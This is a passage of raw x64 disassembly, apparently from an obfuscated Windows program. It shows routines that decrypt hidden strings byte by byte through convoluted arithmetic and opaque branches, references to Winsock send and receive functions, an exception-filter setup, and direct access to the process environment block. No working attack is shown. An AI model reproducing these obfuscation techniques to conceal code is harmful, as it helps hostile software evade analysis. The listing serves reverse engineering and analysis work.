sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0xea8fb7f84c857d24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x20e3], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x1401995d2
mov rbx, r10
movabs rdx, 0x871aa5dd5a6f4c9c
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x44
add r11b, dl
movabs rcx, 0x7ee079a541c9dc2c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x34
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x20e3], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14019a320
movabs rdx, 0xf2c9e430652aed94
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
movzx ebx, r10b
add r11b, dl
movabs rdx, 0x4908da7bbc6c0bb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x20e3], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
jmp 0x14019a37f
movabs rdx, 0x5e7922836fe68e8c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x20e3]
add rax, r9
add rdi, rax
inc rdi
movzx r12d, byte [rbp + 0x5d10]
jmp 0x1401995d2
lea rax, [rbp + 0x1780d93]
jmp 0x14019a407
lea rax, [rbp + 0xda3d17]
jmp 0x14019a407
lea rax, [rbp + 0x20e3]
mov qword [rbp + 0x240], rax
mov byte [rbp + 0x2106], 0xb9
mov byte [rbp + 0x2107], recvfrom
mov byte [rbp + 0x2108], 0x65
mov byte [rbp + 0x2109], 0xf3
mov byte [rbp + 0x210a], 0x55
mov byte [rbp + 0x210b], 0xf1
mov byte [rbp + 0x210c], 0x60
mov byte [rbp + 0x210d], 0xf7
mov byte [rbp + 0x210e], 0x19
mov byte [rbp + 0x210f], 0xf5
mov byte [rbp + 0x2110], 0x3b
mov byte [rbp + 0x2111], 0xfb
mov byte [rbp + 0x2112], 0x53
mov byte [rbp + 0x2113], 0xf9
mov byte [rbp + 0x2114], 0x5b
mov byte [rbp + 0x2115], 0xff
mov byte [rbp + 0x2116], WSASetLastError
mov byte [rbp + 0x2117], 0xfd
mov byte [rbp + 0x2118], 0x76
mov byte [rbp + 0x2119], 0xe3
mov byte [rbp + 0x211a], 0xe0
mov byte [rbp + 0x211b], 0xe1
xor eax, eax
mov qword [rbp + 0x211c], rax
mov dword [rbp + 0x2124], eax
mov byte [rbp + 0x2128], al
movzx r11d, byte [rbp + 0x5d00]
movabs r13, 0xc645214fcec9e0d6
nop
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14019b223
movzx r10d, byte [rbp + rdi + 0x2106]
mov rbx, r10
nop dword [rax + rax]
cmp r9, rdi
ja 0x14019b217
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14019a53c
movabs rcx, 0x971019616099cfe
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0xe
jmp 0x14019a583
je 0x14019b180
lea rax, [r8 + 2]
cmp r9, rax
je 0x14019b0e0
lea rax, [r8 + 4]
cmp r9, rax
je 0x14019b0a4
lea rax, [r8 + 5]
cmp r9, rax
je 0x14019b04f
lea rax, [r8 + 6]
cmp r9, rax
je 0x14019b021
lea rax, [r8 + 2]
cmp r9, rax
je 0x14019afc8
cmp r8, rdi
ja 0x14019b20b
lea rax, [r8 + 6]
cmp r9, rax
jae 0x14019a5b9
lea rdx, [rdi + r13]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14019a600
lea rax, [r8 + 1]
cmp r9, rax
je 0x14019afb4
lea rax, [r8 + 2]
cmp r9, rax
je 0x14019af85
lea rax, [r8 + 5]
cmp r9, rax
je 0x14019af60
lea rax, [r8 + 7]
cmp r9, rax
je 0x14019af38
lea rax, [r8 + 9]
cmp r9, rax
je 0x14019af12
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14019ab69
nop dword [rax]
lea rax, [r8 + 9]
cmp r9, rax
je 0x14019ab55
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x14019ab23
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14019aaf4
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14019aace
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14019aaa2
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14019aa7d
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14019aa55
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14019aa2d
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x14019aef2
lea rax, [r8 + 0xa]
cmp r9, rax
jbe 0x14019acaa
movabs rdx, 0x7fdac1868094d10c
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x54
add r11b, dl
jmp 0x14019b103
movabs rcx, 0x6cf8be5a54819710
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
jmp 0x14019b0c7
movabs rdx, 0x5a16bb2e286e5d14
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r9, r8
jmp 0x14019b0c7
movabs rdx, 0x4734b801fc5b2318
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14019b06f
movabs rdx, 0x3452b4d5d047e91c
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x1e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14019a4e2
movabs rdx, 0x2170b1a9a434af20
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14019a4e2
movabs rdx, 0xe8eae7d78217524
mov ecx, 2
jmp 0x14019afd7
lea rax, [r8 + 0x1000]
cmp r9, rax
jae 0x14019ab9f
movabs rdx, 0x971019616099cfe
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14019a9b3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14019abd2
movabs rdx, 0x8c8a429f9d93c1ac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14019b1a0
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14019ac07
movabs rdx, 0xb24e48f7f5ba35a4
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x14019b103
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14019ac39
movabs rcx, 0xc5304c2421cd6fa0
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x14019b0c7
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14019ac6b
movabs rdx, 0xeaf4527c79f3e398
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x28
jmp 0x14019b06f
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14019a9b6
movabs rdx, 0x10b858d4d21a5790
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r8
dec rdi
inc rdi
jmp 0x14019a4e2
movabs rcx, 0xe8caa8251ffb012c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x34]
jmp 0x14019b103
movabs rdx, 0x70373ddd5b76eab2
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14019b1a0
movabs rdx, 0x4a733785035076ba
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x16
add r11b, dl
jmp 0x14019b103
movabs rcx, 0x37913458d73d3cbe
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
jmp 0x14019b0c7
movabs rdx, 0xfeeb2ad453038eca
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x14019a4e2
movabs rdx, 0xd927247bfadd1ad2
mov ecx, 0x21
jmp 0x14019afd7
movabs rdx, 0xb3631e23a2b6a6da
mov ecx, 5
add rdx, rdi
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xcc77a362ddde2a32
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x5e
add r10b, cl
mov byte [rbp + rdi + 0x2106], r10b
inc r8
dec rdi
inc rdi
jmp 0x14019a4e2
movabs rcx, 0xa0811af776a36cde
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x12
inc r8
dec rdi
inc rdi
jmp 0x14019a4e2
movabs rdx, 0x7abd149f1e7cf8e6
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4a
add r11b, dl
movabs rdx, 0xdf59a68f09f1642e
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x42
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x2106], cl
add r9, r8
jmp 0x14019b0c7
movabs rdx, 0x54f90e46c65684ee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14019a4e2
mov r10, rbx
movabs rcx, 0x42170b1a9a434af2
add rcx, rdi
and bl, cl
mov eax, gethostbyaddr
sub al, bl
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
movabs rcx, 0xf23ba9bb36049e2a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x26
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x2106], al
inc r8
add rax, r8
sub rdi, rax
movabs rcx, 0xfbacab514c0e3b28
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, cl
mov byte [rbp + rdi + 0x2106], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x2106]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14019a4e2
movabs rdx, 0x1c5304c2421cd6fa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x2106]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14019a4e2
lea rdx, [rbp + 0x1759bae]
jmp 0x14019b22a
lea rdx, [rbp + 0xbf38ac]
jmp 0x14019b22a
lea rdx, [rbp + 0x2106]
lea rcx, [rbp + 0x1df0]
call fcn.14013e790
nop
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x1df0]
mov rcx, rsi
call fcn.1401a5f10
nop
lea rcx, [rbp + 0x1df0]
call fcn.14013e780
lea rcx, [rbp + 0x248]
call fcn.14015a930
mov rbx, rax
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x7f0]
call fcn.14015d390
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x7d0]
call fcn.1401e8d40
nop
lea r8, [rbp - 0x2e]
lea rdx, [rbp + 0x810]
mov rcx, rax
call fcn.1401a6150
mov rbx, rax
mov r9, r14
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x1d90]
lea rcx, [rbp + 0xa80]
call fcn.14015d450
mov r8, rax
lea rdx, [rbp + 0x820]
mov rcx, rbx
call fcn.1401a64b0
nop
mov rcx, rax
call fcn.14015c4b0
nop
lea rcx, [rbp + 0x820]
call fcn.140157830
nop
lea rcx, [rbp + 0x810]
call fcn.140157830
nop
lea rcx, [rbp + 0x800]
call fcn.140157830
nop
lea rcx, [rbp + 0x248]
call fcn.14015a940
cmp byte [rbp - 0x30], 0
je 0x14019c0e8
mov byte [rbp + 0xc72], 0x8d
mov byte [rbp + 0xc73], 0x7b
mov byte [rbp + 0xc74], 0x7a
mov byte [rbp + 0xc75], WSACleanup
mov byte [rbp + 0xc76], 0x7c
mov byte [rbp + 0xc77], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], eax
mov byte [rbp + 0xc8c], al
movzx r11d, byte [rbp + 0x5d00]
movabs r13, 0x4417824b32dec2f5
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
xor ebx, ebx
cmp rbx, 0x1b
jae 0x14019c0d0
movzx r10d, byte [rbp + rbx + 0xc72]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x14019c0b8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019b3ed
movabs rdi, 0xeadc8c4cb9478f61
lea rcx, [rbx + rdi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
add r11b, 0x59
jmp 0x14019b424
je 0x14019c01b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019bf8e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019bf21
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019bec5
movabs rdi, 0xeadc8c4cb9478f61
cmp r9, rbx
ja 0x14019c0a0
lea rax, [r9 + 9]
cmp r8, rax
jae 0x14019b459
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x4d
add r11b, dl
jmp 0x14019b4b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14019bea2
inc rax
cmp r8, rax
je 0x14019be6d
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019be3b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14019be17
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019bdef
lea rax, [r9 + 3]
cmp r8, rax
je 0x14019bdcb
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14019ba6a
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14019ba41
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14019ba0c
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14019b9da
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14019b9b1
lea rax, [r9 + 6]
cmp r8, rax
je 0x14019b988
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x14019b95f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14019b93b
lea rax, [r9 + r8]
cmp rax, 0x61
je 0x14019bd9b
movabs rdx, 0xc2d3f529bea972fc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14019bfdf
movabs rdx, 0x41a8ab5d66fc16b6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14019bf6a
movabs rdx, 0x6bef92c3f46cf7f4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14019bf40
movabs rcx, 0x96367a2a81ddd932
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5e
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
movabs rcx, 0xc07d61910f4eba70
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
movabs rdx, 0xeac448f79cbf9bae
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14019bee4
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x14019ba92
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x59
jmp 0x14019b8fc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14019bac3
movabs rcx, 0x882f049665bd85ea
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x66
jmp 0x14019c039
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14019baf4
movabs rcx, 0x33a135c94adbc36e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
jmp 0x14019bfaf
lea rax, [r9 + 3]
mov byte [rbp + 0x5d10], r12b
cmp r8, rax
jne 0x14019bb31
movabs rdx, 0xdf1366fc2ffa00f2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14019bf6a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14019bb71
movabs rcx, 0x8a85982f15183e76
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14019b8fc
movabs rdx, 0x603eb0c887a75d38
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
movabs rcx, 0xf1e04716c757b905
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x23
jmp 0x14019bfdf
movabs rdx, 0x1c272e7d54c89a43
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, dl
jmp 0x14019bfaf
movabs rcx, 0x466e15e3e2397b81
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x79
jmp 0x14019bf6d
movabs rcx, 0xc542cc178a8c1f3b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x63
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
movabs rcx, 0xef89b37e17fd0079
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4f
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
movabs rcx, 0x19d09ae4a56de1b7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec r11b
jmp 0x14019bee4
movabs rcx, 0x6e5e69b1c04fa433
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x65
movabs rcx, 0x7ebc72de8bcab007
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x31
add r10b, cl
mov byte [rbp + rbx + 0xc72], r10b
inc r9
dec rbx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
movabs rcx, 0xed331fe568a247ed
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
movabs rdx, 0x54758b77fe59cec9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7f
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xc72], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
mov r10, rdx
movabs rcx, 0x6c07d61910f4eba7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x6f
movabs rcx, 0x2a2ea41170e8ed8b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x33
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xc72], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x150b305e2a307cec
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x74
add r10b, cl
mov byte [rbp + rbx + 0xc72], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
jmp 0x14019c039
movabs rcx, 0xc095a4e62bd6ae23
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0xb
movzx eax, byte [rbp + rbx + 0xc72]
add rax, r9
add rbx, rax
inc rbx
movzx r12d, byte [rbp + 0x5d10]
jmp 0x14019b392
lea rdx, [rbp + 0x154619e]
lea rcx, [rbp + 0x1e10]
call fcn.14013a940
jmp 0x14019c152
lea rdx, [rbp + 0x9bf0ff]
lea rcx, [rbp + 0x1e10]
call fcn.14013a940
jmp 0x14019c152
lea rdx, [rbp + 0xc72]
lea rcx, [rbp + 0x1e10]
call fcn.14013a940
jmp 0x14019c152
lea rcx, [rbp - 0x2d]
call fcn.140135ff0
mov rdi, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x1d90]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x1d90]
call fcn.14014cf90
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1e30]
call fcn.14014d2c0
lea rdx, [rbp + 0x1e30]
lea rcx, [rbp + 0x1e10]
call fcn.140135e80
lea rcx, [rbp + 0x1e30]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140157830
nop
lea rcx, [rbp + 0x7d0]
call fcn.140157830
nop
lea rcx, [rbp + 0x1db0]
call fcn.14013e780
nop
lea rcx, [rbp + 0x1d90]
call fcn.14013e780
nop
mov rcx, r14
call fcn.140135dd0
nop
lea rdx, [rbp + 0x1e10]
lea rcx, [rbp + 0x1e50]
call fcn.140135eb0
mov rdx, rax
lea rcx, [rbp + 0xa98]
call fcn.140138930
nop
lea rcx, [rbp + 0xa98]
call fcn.1401353f0
mov rsi, rax
lea rcx, [rbp + 0xa98]
call fcn.140135ba0
test rsi, rsi
je 0x1401a00c4
cmp rax, 0x3e8
jb 0x1401a00c4
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x1e70]
call fcn.140135eb0
mov r14, rax
mov qword [rsp + 0x70], rax
lea rcx, [0x1401647d0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.14013b030
mov qword [0x1404e9e78], rax
test rax, rax
je 0x14019d2f0
cmp rax, 0xffffffffffffffff
je 0x14019d2f0
xor ebx, ebx
mov dword [rbp + 0x40], ebx
call fcn.14014ced0
mov edx, 0x1836
lea ecx, [rdx - 1]
movzx r8d, byte [rbp + 0x360]
test r8b, r8b
je 0x14019c24e
test al, al
cmove edx, ecx
mov dword [rbp + 0x2664], ebx
movzx eax, al
xor eax, 1
add eax, 0x1836
mov dword [rbp + 0x266c], eax
mov dword [rbp + 0x2668], edx
movzx eax, byte [rbp - 0x55]
xor eax, 1
add eax, ecx
mov dword [rbp + 0x2660], eax
test r8b, r8b
je 0x14019c295
cmp byte [rbp + 0x5d08], bl
mov dword [rbp + 0x2670], ecx
jne 0x14019c29f
mov dword [rbp + 0x2670], 0x1836
test r8b, r8b
je 0x14019c2b7
cmp byte [rbp - 0x56], bl
mov dword [rbp + 0x2674], ecx
jne 0x14019c2c1
mov dword [rbp + 0x2674], 0x1836
test r8b, r8b
je 0x14019c2dc
cmp byte [rbp + 0x5d18], bl
mov dword [rbp + 0x2678], ecx
jne 0x14019c2e6
mov dword [rbp + 0x2678], 0x1836
test r8b, r8b
je 0x14019c2fe
cmp byte [rbp - 0x20], bl
mov dword [rbp + 0x267c], ecx
jne 0x14019c308
mov dword [rbp + 0x267c], 0x1836
test r8b, r8b
je 0x14019c320
cmp byte [rbp - 0x1f], bl
mov dword [rbp + 0x2680], ecx
jne 0x14019c32a
mov dword [rbp + 0x2680], 0x1836
test r8b, r8b
je 0x14019c342
cmp byte [rbp - 0x1e], bl
mov dword [rbp + 0x2684], ecx
jne 0x14019c34c
mov dword [rbp + 0x2684], 0x1836
test r8b, r8b
je 0x14019c364
cmp byte [rbp - 0x1d], bl
mov dword [rbp + 0x2688], ecx
jne 0x14019c36e
mov dword [rbp + 0x2688], 0x1836
test r8b, r8b
je 0x14019c386
cmp byte [rbp - 0x76], bl
mov dword [rbp + 0x268c], ecx
jne 0x14019c390
mov dword [rbp + 0x268c], 0x1836
test r8b, r8b
je 0x14019c3a8
cmp byte [rbp - 0x75], bl
mov dword [rbp + 0x2690], ecx
jne 0x14019c3b2
mov dword [rbp + 0x2690], 0x1836
mov dword [rbp + 0x26ac], ebx
test r8b, r8b
je 0x14019c3db
cmp byte [rbp + 0x36a], bl
je 0x14019c3db
neg r15b
sbb eax, eax
add eax, 2
mov dword [rbp + 0x26ac], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2694], xmm0
mov dword [rbp + 0x26a4], eax
mov dword [rbp + 0x26a8], ebx
lea rcx, [rbp + 0x2660]
call fcn.1401594c0
mov rdi, rax
mov rcx, qword gs:[0x30]
mov rbx, qword [rcx + 0x60]
movabs rcx, 0x422385454523
call fcn.1401594c0
mov qword [rbx + 0x48], rax
lea r9, [rbp + 0x40]
mov r8, rdi
mov rdx, rsi
mov rcx, qword [0x1404e9e78]
call fcn.140140f00
test rax, rax
je 0x14019c475
cmp dword [rbp + 0x40], 0
jl 0x14019c475
mov rcx, qword [0x1404e9e78]
call fcn.14013b420
nop
mov rcx, r14
call fcn.140135dd0
xor edi, edi
mov r15d, edi
movzx esi, byte [rbp + 0x362]
mov byte [rbp - 0x56], sil
jmp 0x14019dfeb
mov rcx, qword [0x1404e9e78]
call fcn.14013b420
mov edi, dword [rbp + 0x40]
mov byte [rbp + 0xc8d], 0x93
mov byte [rbp + 0xc8e], 0x84
mov byte [rbp + 0xc8f], 0xfa
mov byte [rbp + 0xc90], 0x84
mov byte [rbp + 0xc91], 0x82
mov byte [rbp + 0xc92], 0x80
mov byte [rbp + 0xc93], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc94], xmm0
mov dword [rbp + 0xca4], eax
movabs rsi, 0xd474d745229997b8
movabs r15, 0x6d95a8abd6997218
movabs r12, 0x5b70e289c96560e8
movabs r13, 0xb28733ff84323178
movzx edx, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
xor r11d, r11d
cmp r11, 0x1b
jae 0x14019d1b1
movzx r10d, byte [rbp + r11 + 0xc8d]
mov rbx, r10
nop dword [rax]
cmp r9, r11
ja 0x14019d1a5
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14019c562
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
sub dl, 8
jmp 0x14019c5a0
je 0x14019d11e
lea rax, [r8 + 3]
cmp r9, rax
je 0x14019d082
lea rax, [r8 + 5]
cmp r9, rax
je 0x14019d048
lea rax, [r8 + 2]
cmp r9, rax
je 0x14019d01e
cmp r8, r11
ja 0x14019d199
